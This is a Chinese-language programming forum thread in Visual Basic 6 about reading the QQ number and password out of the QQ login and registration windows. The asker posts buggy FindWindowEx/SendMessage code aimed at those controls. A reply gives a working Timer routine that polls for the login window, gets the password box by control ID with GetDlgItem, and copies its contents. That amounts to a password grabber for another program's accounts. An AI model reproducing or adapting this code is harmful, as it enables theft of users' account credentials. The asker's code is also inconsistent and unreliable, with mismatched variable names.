我用findwindowex查找窗口内部的一个combobox的句柄,可是总是返回为0,这是为什么啊?
我在一个程序中可以得到一个窗口内的两个text的句柄,但是,用同样的方法却不能得到另一个窗口内的text的句柄....这是为什么啊?
得到text::
QQLoginHwnd = FindWindowEx(0, 0, "#32770", "OICQ用户登录")
If QQLoginHwnd = 0 Then QQLoginHwnd = FindWindowEx(0, 0, "#32770", "QQ用户登录")
是主登录窗口
If LoginHwnd <> 0 Then
获取号码
PassHwnd = FindWindowEx(QQLoginHwnd, 0, "ComboBox", vbNullString)
tmp1 = SendMessage(PassHwnd, CB_GETCURSEL, ByVal CLng(0), ByVal CLng(0))
Tmp2 = SendMessage(PassHwnd, CB_GETLBTEXTLEN, ByVal tmp1, ByVal CLng(0))
QQUserWord = Space(Tmp2)
Tmp2 = SendMessage(PassHwnd, CB_GETLBTEXT, ByVal tmp1, ByVal UserWord)
UserWord = Left(UserWord, Tmp2)
获取密码
PassHwnd = FindWindowEx(LoginHwnd, 0, "Edit", vbNullString)
tmp1 = SendMessage(PassHwnd, &HE, 0, 0)
PassWord = Space(tmp1)
SendMessageByString PassHwnd, &HD, tmp1 + 1, PassWord
GoTo Quit1:
End If
是"注册向导"窗口
LoginHwnd = FindWindowEx(0, 0, "#32770", "OICQ 注册向导")
If LoginHwnd = 0 Then QQLoginHwnd = FindWindowEx(0, 0, "#32770", "QQ 注册向导")
If LoginHwnd <> 0 Then
查找号码框 和 密码框
tmp1 = FindWindowEx(QQLoginHwnd, 0, "#32770", vbNullString)
UserHwnd = FindWindowEx(tmp1, 0, "Edit", vbNullString)
PassHwnd = FindWindowEx(tmp1, UserHwnd, "Edit", vbNullString)
取得号码
tmp1 = SendMessage(UserHwnd, &HE, 0&, 0&)
UserWord = Space(tmp1)
SendMessageByString QQUserHwnd, &HD, tmp1 + 1, QQUserWord
取得密码
tmp1 = SendMessage(PassHwnd, &HE, 0&, 0&)
PassWord = Space(tmp1)
SendMessageByString PassHwnd, &HD, tmp1 + 1, PassWord
GoTo Quit1:
End If
登录完毕
MainForm = FindWindowEx(0, 0, "#32770", vbNullString)
Do While MainForm
If FindWindowEx(MainForm, 0, "AfxWnd42s", vbNullString) Then
IsLogin = True
AddUser
Exit Do
End If
MainForm = FindWindowEx(0, MainForm, "#32770", vbNullString)
Loop
得到text的方法在别的得到别的程序的时候为什么就不能用呢? 至于combobox根本就找不到他的句柄................
高手哥哥帮忙啊~~~~~~~~~~~~~~~~~~~`
无论晴天也好,雨天也好,我希望和你一起度过~~~~~风笛~~~:)
试试用下面的函数来取得窗口句柄:
Public Declare Function GetCursorPos Lib "user32" Alias "GetCursorPos" (lpPoint As POINTAPI) As Long
Public Declare Function WindowFromPoint Lib "user32" Alias "WindowFromPoint" (ByVal xPoint As Long, ByVal yPoint As Long) As Long
【声明】
Private Declare Function ChildWindowFromPointEx Lib "user32" Alias "ChildWindowFromPointEx" (ByVal hWnd As Long, ByVal pt As POINTAPI, ByVal un As Long) As Long
【说明】
返回父窗口中包含了指定点的第一个子窗口的句柄
【返回值】
Long,发现包含了指定点的第一个子窗口的句柄。如未发现任何窗口,则返回hWnd。如指定点位于父窗口外部,则返回零
【参数表】
hWnd ----------- Long,父窗口的句柄
xPoint
Long,点的X坐标,以像素为单位
yPoint
Long,点的Y坐标,以像素为单位
pt ------------- POINTAPI,点的坐标,以像素为单位
un ------------- Long,控制对窗口的搜索。参见下表
CWP_ALL
测试所有窗口
CWP_SKIPINVISIBLE
忽略不可见窗口
CWP_SKIPDISABLED
忽略已屏蔽的窗口
CWP_SKIPTRANSPARENT
忽略透明窗口
getdlgitem
VB声明
Private Declare Function GetDlgItem Lib "user32" Alias "GetDlgItem" (ByVal hDlg As Long, ByVal nIDDlgItem As Long) As Long
说明
用来得到一个窗体子窗体的句柄,如一个按钮等
参数表 类型及说明
hwnd 父窗体的句柄
niddlgitem 子窗体的ID号码
OK,有了这三个API,那么我们可以进入主题了,其它用这三个API可以干很多的事情哦。
很明显要获取的QQ密码,肯定要先找到它的句柄,肯定想到了,用一个时间控件,然后再用Findwidow这个api就可以了.具本代码如下:
Private Sub Timer1_Timer()
Dim str As String
Dim nmb As String
Dim qqhwnd As Long
Dim numberhwnd As Long
Dim pwdhwnd As Long
Dim temp As Long
str = String(80, 0)
nmb = String(8, 0)
qqhwnd = FindWindow(vbNullString, "QQ用户登录")
到这里就可以得到登录框的句柄了.注意qq要大写哦!
If qqhwnd <> 0 Then
numberhwnd = GetDlgItem(qqhwnd, &H3EC) 得到用户号码框的名柄
pwdhwnd = GetDlgItem(qqhwnd, &H3F4) 得到密码框的句柄
getdlgitem你肯定会用了,那么&h3ec是那里来的呀,这个便是它的ID号,那么怎么得到呢?你用vc++中的工具 SPYXX就可以得到了.
SendMessage pwdhwnd, WM_GETTEXT, Len(str), ByVal str 得到号码
SendMessage numberhwnd, WM_GETTEXT, Len(nmb), ByVal nmb 得到密码
notxt.Text = nmb
pwdtxt.Text = str
DoEvents
End If
End Sub
type POINTAPI
x as long
y as long
end type
pt的坐标指在父窗体的坐标